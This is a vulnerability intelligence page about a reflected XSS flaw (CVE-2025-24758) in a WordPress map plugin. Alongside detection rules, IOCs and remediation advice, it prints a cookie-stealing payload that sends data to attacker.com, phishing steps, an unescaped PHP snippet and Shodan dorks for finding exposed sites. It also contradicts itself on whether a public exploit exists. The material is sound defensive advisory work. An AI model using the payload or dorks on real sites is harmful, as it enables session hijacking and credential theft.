☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Creativemindssolutions logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-24758

CVE-2025-24758 Cross-Site Scripting in Creativemindssolutions
📅 PUBLISHED: 2025-03-03 14:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-24758 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the CM Map Locations WordPress plugin, developed by CreativeMindsSolutions. The flaw exists in versions up to and including 2.0.8. An attacker can inject malicious JavaScript into a web page via a crafted URL, which executes in the victim's browser when they click the link. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch details are currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability specifically affects the CM Map Locations WordPress plugin. It is not a server-level issue (e.g., Apache or Nginx). The attack vector relies on the plugin's failure to sanitize user-supplied input before reflecting it in the HTTP response.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – the attack is launched remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): None – no authentication needed.
  • User Interaction (UI): Required – the victim must click a crafted link.
  • Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): Low – limited ability to disrupt service.

Threat Level: High. While user interaction is required, the low complexity and network-based attack vector make this a viable phishing or social engineering target.

Deep Dive & Mechanics

The vulnerability resides in the CM Map Locations plugin's handling of user-supplied input, likely through a shortcode, AJAX endpoint, or query parameter. The plugin fails to properly neutralize input before embedding it in the generated HTML page. This allows an attacker to inject arbitrary JavaScript.

Attack Flow:

  1. Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g., ?map_id=<script>alert('XSS')</script>).
  2. Attacker sends the URL to a victim via email, social media, or other channels.
  3. Victim clicks the link while logged into a WordPress site with the vulnerable plugin active.
  4. The plugin processes the request and reflects the unsanitized input into the page response.
  5. The victim's browser executes the injected script, which can steal cookies, redirect to a phishing site, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation on the reflected parameter.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The plugin likely uses a function like echo $_GET['param'] or echo $param without escaping.

Vulnerable Code (PHP):

$map_id = $_GET['map_id'];
echo "<div id='map-$map_id'>Map content</div>";

Patched Code (Hypothetical):

$map_id = sanitize_text_field( $_GET['map_id'] );
echo "<div id='map-" . esc_attr( $map_id ) . "'>Map content</div>";

The patched version uses esc_attr() to HTML-encode the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with CM Map Locations <= 2.0.8 installed and activated.
  • A victim user with a valid session.

Exploit Steps:

  1. Identify a vulnerable parameter. Common candidates: map_id, lat, lng, zoom.
  2. Craft a payload:
    http://target-site.com/?map_id=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
    
  3. URL-encode the payload for reliability:
    http://target-site.com/?map_id=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
    
  4. Send the link to the victim via phishing email or social engineering.
  5. Set up a listener on attacker.com to capture cookies.

Lab Setup (Docker):

docker run -d --name wp-xss -p 8080:80 wordpress:latest
# Install CM Map Locations plugin manually via wp-admin

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for suspicious query strings containing <script>, onerror=, javascript:.
  2. Use a Web Application Firewall (WAF) to block reflected XSS patterns.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri_query=*map_id* | search uri_query=*<script>* OR uri_query=*onerror=*

Indicators of Compromise (IOCs)

  • Network IOCs:
    • URLs containing ?map_id=<script> or similar XSS patterns.
    • Outbound HTTP requests to attacker-controlled domains from the victim's browser.
  • File IOCs:
    • Modified WordPress core files (unlikely for reflected XSS).
    • Suspicious entries in wp-content/debug.log if debugging is enabled.
  • Behavioral IOCs:
    • Unexpected redirects to external sites.
    • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2025_24758_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting CM Map Locations plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24758"
    strings:
        $xss_payload = /map_id=[^&]*<script[^>]*>/
        $xss_event = /map_id=[^&]*on\w+\s*=/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against CM Map Locations
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b7d3f1a0e5c
status: experimental
description: Detects reflected XSS attempts in HTTP requests targeting the CM Map Locations plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'map_id=<script'
            - 'map_id=onerror='
            - 'map_id=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in map parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24758 Reflected XSS CM Map Locations"; flow:to_server,established; content:"map_id"; http_uri; nocase; pcre:"/map_id=[^&]*<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a WAF rule to block requests containing map_id=<script or similar patterns.
  3. Add CSP headers to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
    

Long-Term Fix:

  • The vendor must release a patched version that properly escapes output using esc_attr() or esc_html().
  • Users should update to the latest version once available.

Workaround:

  • If the plugin cannot be disabled, use a security plugin like Wordfence to add virtual patching.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"CM Map Locations"
http.html:"wp-content/plugins/cm-map-locations"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-24758/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.